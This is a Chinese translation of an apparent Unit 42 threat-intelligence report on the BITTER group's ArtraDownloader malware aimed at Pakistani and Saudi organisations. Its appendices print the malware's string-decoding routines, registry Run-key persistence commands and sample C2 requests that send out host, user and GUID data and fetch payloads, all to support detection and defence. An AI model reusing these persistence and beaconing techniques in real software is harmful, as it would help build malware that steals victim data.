BITTER使用多个ArtraDownloader变体攻击巴基斯坦 - 嘶吼 RoarTalk – 网络安全行业综合服务平台,4hou.com

BITTER使用多个ArtraDownloader变体攻击巴基斯坦

TRex 勒索软件 2019-03-04 09:13:47
30585
收藏

导语:BITTER针对巴基斯坦和沙特阿拉伯发起了新一波攻击。unit42详细阐述了有关这些攻击的详细信息并分析了三种ArtraDownloader的变体。

一、简介

至少从2015年开始,一个被称为BITTER的南亚威胁组织一直在针对巴基斯坦和中国使用之前未报告过的Downloader的变体。我们根据样本中发现的PDB字符串命名此恶意软件为ArtraDownloader。我们观察到该Downloader的三个变体,最早的时间戳是2015年2月。该Downloader经常被观察到下载与BITTER 威胁行为相关的远程特洛伊木马(RAT)BitterRAT。

从2018年9月开始,一直持续到2019年初,BITTER针对巴基斯坦和沙特阿拉伯发起了一波攻击。这是BITTER针对沙特阿拉伯的首例攻击报道。围绕这些攻击的详细信息和观察到的三种ArtraDownloader变体如下所述。

二、行为

从2018年9月中旬到2019年1月,Unit 42观察到了针对巴基斯坦和沙特阿拉伯组织的ArtraDownloader。我们已经确定了几个恶意文件,所有这些文件都与受到入侵的巴基斯坦合法网站进行通信。这些网站包括与巴基斯坦政府和其他机构有关。

从2018年9月12日开始,我们在网址https://wforc[.]pk/js/上观察了以下名称的文件。

· Internet Data Traffic Report – August 2018.docx

· PAF Webmail Security Report.doc.exe

网络钓鱼邮件针对沙特阿拉伯电气供应商的雇员。恶意文件与C2 nethosttalk[.]com通信。

在同一时间范围内,观察到另外两个文件(如下所列)被托管在另一个巴基斯坦网站上。这些可执行文件托管在URL khurram.com[.]pk/js/drvn上,并与域名nethosttalk[.]com进行通信,其名称如下:

· Handling of Logistics.pdf[.]com

· Cyber security work shop.pdf[.]com

从2018年11月6日开始,URL http://rmmun.org[.]pk/svch托管了两个与域info.viewworld71[.]com或hewle.kielsoservice[.]net进行通信的ArtraDownloader文件。 RMMUN,Roots Metropolitan Model United Nations于2018年11月8日至11日举行组织活动,旨在促进人权和经济发展等问题的合作。

2018年11月至2019年1月,巴基斯坦的一家工程和液压公司almasoodgroup[.]com 托管了两个AtraDownloader可执行文件以及用于分出有效载荷的恶意文档。其中Port Details.doc是一个利用EQNEDT漏洞CVE-2017-11882的RTF文档。此文件下载了一个有效载荷,该载荷也与域hewle.kielsoservice[.]net进行通信。该公司域上托管的其他两个文件与命令和控制域xiovo426[.]net进行通信。

1月2日,文件article_amy.doc被上传到VirusTotal。该文件托管在almasoodgroup[.]com/js/cwq上,并与C2域thepandaservices.nsiagenthoster [.] net进行通联。almasoodgroup [.] com在此特定实例中是合法但被入侵的域名。

在2018年12月17日和18日,用户在访问了文档《12月最后一周的鸡尾酒和晚餐》后,从jhttp://fst.gov[.]pk/images/winsvc (SHA256: ef0cb0a1…) 下载了一个文件。我们不知道用户最初是如何被诱导执行此文档的。此有效载荷是ArtraDownloader变体1,利用CVE-2017-11882(EQNEDT)漏洞。在此情况下,使用hewle.kielsoservice[.]net/Engset.php作为命令和控制域名。

三、变体比较

总共发现了大约80个ArtraDownloader恶意软件的独特实例。在这些样品中,鉴定了3种不同的变体。这些变体之间有微小的变化,特别是与字符串混淆以及HTTP请求相关方面。

最早确定属于ArtraDownloader的样本具有2015年2月的编译时间戳,提供了关于此恶意软件的大致年限。

到目前为止,unit42仅观察到此恶意软件下载并执行与BITTER相关的RAT恶意软件的实例。每个确定的样本的时间详细信息如下:

图1基于编译时间戳的ArtraDownloader变体

总体而言,ArtraDownloader恶意软件并不复杂,利用简单的注册表项来实现持久性,利用HTTP请求下载和执行远程文件。通过添加或减去字符串中的每个字节中来对这些样本中的重要字符串进行模糊处理。当通过HTTP发送数据时,使用了相同的混淆例程。

有趣的是,在此分析过程中,我们发现与先前分析的有效载荷中看到的基础设施重合。2017年11月,我们报告了从域zmwardrobe[.]com下载恶意文档并随后执行名为MY24的有效载荷。此活动于2017年9月和10月观察到。2017年11月,我们首次观察到ArtraDownloader查询相同的域名;这一直持续到2018年2月。两个有效载荷都在InPage漏洞中观察到。

有关所发现变体的详细信息以及对每个变体的深入分析,请参阅附录。

四、总结

迄今为止,被称为BITTER的威胁行为者继续积极参与全球各地区的攻击活动。他们使用名为ArtraDownloader的定制下载恶意软件来瞄准巴基斯坦、中国和沙特阿拉伯。此下载程序利用独特的自定义混淆例程,通过HTTP下载并执行BitterRAT恶意软件。

多个机构受到影响或被发现托管BITTER使用的恶意软件,包括巴基斯坦政府、工程公司和电气供应商。我们将继续监控这个威胁行为者。Palo Alto Networks的客户可通过以下方式抵御此威胁:

· 所有恶意软件在WildFire中都被恰当的归类为恶意软件

· 用于与恶意软件进行通信的域名以及托管恶意软件的URL均被标记为恶意

· AutoFocus客户可以使用BITTER,BITTERRAT和ArtraDownloader标记继续跟踪此威胁

五、附录

1.ArtraDownloader 恶意软件分析– 变体1

微信截图_20190301111404.png

表1 ArtraDownloader变体1样本

执行时,该样本将创建并注册具有以下属性的新窗口类:

· Window Name: seal

· Class Name: SEAL

这个新创建的窗口类中收到WM_CREATE消息后,它将在20秒后调用SetTimer执行一个新函数。此函数负责实际下载和执行远程有效载荷,并且仅在恶意软件执行结束时调用。

ArtraDownloader继续从受害者机器收集以下信息:

· 机器名

· 操作系统

· 用户名

在整个恶意软件的执行过程中,对各种字符串进行编码以规避检测。以下Python代码可用于解码这些字符串:

def decode(data):
out = “”
for d in data:
out += chr(ord(d)-1)
return out

例:

>> print(decode(“ifxmf/ljfmtptfswjdf/ofu”))
>> hewle.kielsoservice[.]net

然后它尝试获取以下文件夹路径,并使用第一个成功识别的文件夹。

· TEMPLATES

· NETHOOD

· APPDATA

ctfmon.exe文件将添加到此路径,如果该文件不存在,则将ArtraDownloader自身复制为该文件。

perfc文件将添加到此路径,该路径将是恶意软件在下载远程文件时使用的临时目标。

下载程序继续通过HKLM\SOFTWARE\Microsoft\Cryptography\MachineGuid注册表项标识受害者的计算机GUID。如果成功查询此键,则会包含以下格式数据的字符串:

[Computer Name]##[Username]@@[Machine GUID]

否则,将生成以下字符串:

[Computer Name]!@[Username]

此信息将用于后续网络请求。为了确保持久性,恶意软件会修改主机的注册表。设置以下两个键:

HKCU\Software\Microsoft\Windows\CurrentVersion\Run\JITDfbug – “cmd /c start %Qrp% && exit”
HKCU\Environment\Qrp – [path]\ctfmon.exe

其中[path]是先前选择的ArtraDownloader复制自己的路径。这两个注册表项修改可确保每次受害计算机启动时都会执行恶意软件。

此时,在恶意软件的执行流程中,先前讨论的在20秒计时器上执行的函数将最终运行。首先将如下示例POST请求发送到远程C2服务器:

POST /Engset.php HTTP/1.0
Host: hewle.kielsoservice[.]net
Connection: keep-alive
Content-type: application/x-www-form-urlencoded
Content-length: 148
 
BCDEF=XJO.82GO2QF2BU9&MNOPQ=Xjoepxt!8!Vmujnbuf&GHIJ=Kpti!Hsvo{xfjh&UVWXYZ=XJO.82GO2QF2BU9$$Kpti!Hsvo{xfjhAA214cf8g5.cgc9.51gb.914d.f17ceg:e4cc7&st=0

在此请求中,POST数据使用在字符串上见过的相同技术进行编码。解码后,我们会看到以下内容:

2.png

表2 ArtraDownloader 变体1中解码的POST请求

预期的响应如下,其中'qbzmpbe'是将被下载并执行的编码后的可执行文件名(解码:'payload'):

DFCB=DWN qbzmpbe<br>

在远程C2服务器返回预期响应后,ArtraDownloader将发出以下POST请求:

上面的示例请求使用的是在前一个请求的UZWXYZ POST变量中见过的相同唯一标识符。

远程C2服务器期望响应具有以下格式:

exe[hex-encoded data]<

其中[hex-encoded data]是十六进制编码的有效载荷。原始响应将写入perfc文件,以下是来自模拟C2服务器的示例:

HTTP/1.0 200 OK
Content-Type: text/html; charset=utf-8
Content-Length: 28
Server: Werkzeug/0.12.2 Python/2.7.15
Date: Tue, 08 Jan 2019 18:46:23 GMT
 
exe68656c6c6f20776f726c64<

写入此文件后,恶意软件会继续对十六进制编码数据进行解码,并将其写入与perfc相同路径中预定义的文件名。在前面的示例中,由于有效载荷是作为文件名提供的,因此该特定有效负载将写入payload.exe。在模拟服务器的示例中,此文件将包含字符串hello world。

在此阶段,恶意软件通过调用ShellExecuteA继续在新进程中打开此新创建的可执行文件。如果成功,ArtraDownloader将使用相同的POST参数向/Engset.php发出后续HTTP请求。但是,在此请求中,st POST变量设置为1。

2.ArtraDownloader恶意软件分析– 变体2

3.png

表3 ArtraDownloader变体2样本

执行时,该示例将创建并注册具有以下属性的新窗口类:

· Window Name: 28NovDwn

· Class Name: MY28NOVDWN

恶意软件使用简单的例程继续解码一系列字符串。以下Python脚本可用于解码属于此集群的字符串:

def decode(data):
out = “”
for d in data:
out += chr((ord(d)-3)&0xFF)
return out
>> print(decode(“iudphzrunvxssruw1qhw”))
>> frameworksupport[.]net

它继续尝试创建C:\intel\目录,这是最终存储各种文件的地方。为在受害者计算机上持久存在,它会创建以下注册表:

HKCU\Environment\AppId – c:\intel\msdtcv.exe

然后,ArtraDownloader设置以下注册表项,以确保恶意软件在重新启动后执行。

HKCU\Software\Microsoft\Windows\CurrentVersion\Run – cmd /c start %AppId% && exit

此外,在单独的线程中,恶意软件将生成一个新进程以将自身复制到C:\intel\ msdtcv.exe。

收集有关受害者计算机的各种信息,包括有关操作系统、计算机的GUID以及主机名的信息。此信息最终将用于识别受害者并提供有关受感染宿主的一般信息。

以下是对远程C2服务器发送GET请求的示例:

GET /ourtyaz/qwe.php?TIe=214cf8g5.cgc9.51gb.914d.f17ceg%3ae4cc7*XJO.82GO2QF2BU9*%3aACme%3b%217%2f2%2f8712%21Tfswjdf%21Qbdl%212 HTTP/1.1
Host: frameworksupport[.]net
Connection: close

在上面的请求中,TIe GET变量中提供的数据用*分隔,剩余数据通过在每个字节中加1来编码。解码此字符串,我们将看到以下内容:

103be7f4-bfb8-40fa-803c-e06bdf9d3bb6*WIN-71FN1PE1AT8*9@Bld: 6.1.7601 Service Pack 1

上述数据包括计算机的GUID、受害者的主机名以及有关操作系统的信息。这个特定的GET请求正在寻找AXE:标识符,如以下C2响应中所见:

HTTP/1.1 200 OK
X-Powered-By: PHP/5.6.36
Content-Type: text/html; charset=UTF-8
Content-Length: 23
Date: Tue, 20 Nov 2018 22:27:56 GMT
Accept-Ranges: bytes
Server: LiteSpeed
Connection: close
 
AXE: #wscspl#
SIZE: ##

在此响应中,解析#之间的数据,并进行后续请求。如果响应中存在此信息,恶意软件将查询CSIDL_HISTORY文件夹,该文件夹为Internet历史记录项的公共存储库的文件系统目录。此路径附加了字符串ZX,后跟HTTP响应中使用的文件名,在我们的示例中为wscspl。例子如下:

C:\Users\[username]\AppData\Local\Microsoft\Windows\HistoryZXwscspl

提供此新形成的文件路径数据的HTTP请求如下:

GET /ergdfbd/wscspl HTTP/1.1
Host: frameworksupport[.]net
Connection: Close

整个HTTP响应将写入先前描述的文件路径。然后,ArtraDownloader将解析整个HTTP响应的POST数据,将偏移量为0x1的所有内容提取到没有ZX字符的文件路径,并使用.exe后缀。使用我们之前的示例,此文件将如下所示:

C:\Users\[username]\AppData\Local\Microsoft\Windows\Historywscspl.exe

删除先前在路径中包含ZX的文件。最后,该文件在新进程中执行。如果衍生此可执行文件没有错误,恶意软件将发送以下最终HTTP请求:

GET /ourtyaz/dwnack.php?cId=214cf8g5.cgc9.51gb.914d.f17ceg%3ae4cc7 HTTP/1.1
Host: frameworksupport[.]net
Connection: Close

3.ArtraDownloader 恶意软件分析– 变体3

4.png

表4 ArtraDownloader变体3样本

在执行时,恶意软件通过简单的解码例程解码一系列字符串开始。以下Python脚本可用于解码属于此集群的字符串:

def decode(data):
out = “”
for d in data:
out += chr((ord(d)-13)&0xFF)
return out
 
>> print(decode(binascii.unhexlify(“6E7F7C827B71817572847C7F79713E3F403B7B7281”)))
>> aroundtheworld123[.]net

恶意软件会继续检查以确定AVG安全产品当前是否在系统上运行,但是,ArtraDownloader没有使用此信息。这可能是恶意软件作者无意中留在样本中的测试残余项。

恶意软件收集有关系统的各种信息,并在随后的HTTP请求中使用。收集此信息后,将执行以下HTTP GET请求:

GET ///healthne/accept.php?a=WIN-71FN1PE1AT8&b=WIN-71FN1PE1AT8&c=Windows%207%20Ultimate&d=Josh GrunzweigJosh Grunzweig103be7f4-bfb8-40fa-803c-e06bdf9d3bb6365536040965860&e= HTTP/1.1
Host: aroundtheworld123[.]net

请注意,与此恶意软件系列中见证的其他变体不同,此特定变体不会混淆通过网络发送的数据。请求中使用以下GET参数:

5.png

表5 ArtraDownloader 变体3中观察到的GET参数

以下是对此请求的响应。

HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
Content-Length: 29
Date: Mon, 05 Nov 2018 19:22:56 GMT
Accept-Ranges: bytes
Server: LiteSpeed
Connection: Keep-Alive
 
Yes file58368[regdl]35No file

解析对此请求的响应,特别是尝试识别字符串Yes文件。如果该字符串存在,则解析[and]之间的数据。此数据用于后续的HTTP请求,该请求将从远程服务器下载文件,如下所示:

GET /healthne/healthne/regdl HTTP/1.0
Host: aroundtheworld123[.]net
 
HTTP/1.0 200 OK
Last-Modified: Tue, 02 Oct 2018 04:38:28 GMT
Content-Type: application/octet-stream
Content-Length: 58368
Date: Mon, 05 Nov 2018 19:23:01 GMT
Accept-Ranges: bytes
Server: LiteSpeed
Connection: close
 
MZ………………….[TRUNCATED]

此可执行文件将写入与恶意软件相同的目录,并使用相同的文件名。例如,如果此恶意软件最初是从C:\执行的,则下载的文件将写入C:\ regdl.exe。最后,此可执行文件在新进程中运行。

IoC

有关所有相关IOC的CSV文件,请参阅以下链接:

https://github.com/pan-unit42/iocs/tree/master/bitter

  • 分享至
取消

感谢您的支持,我会继续努力的!

扫码支持

打开微信扫一扫后点击右上角即可分享哟

发表评论

 
本站4hou.com,所使用的字体和图片文字等素材部分来源于原作者或互联网共享平台。如使用任何字体和图片文字有侵犯其版权所有方的,嘶吼将配合联系原作者核实,并做出删除处理。
©2024 北京嘶吼文化传媒有限公司 京ICP备16063439号-1 本站由 提供云计算服务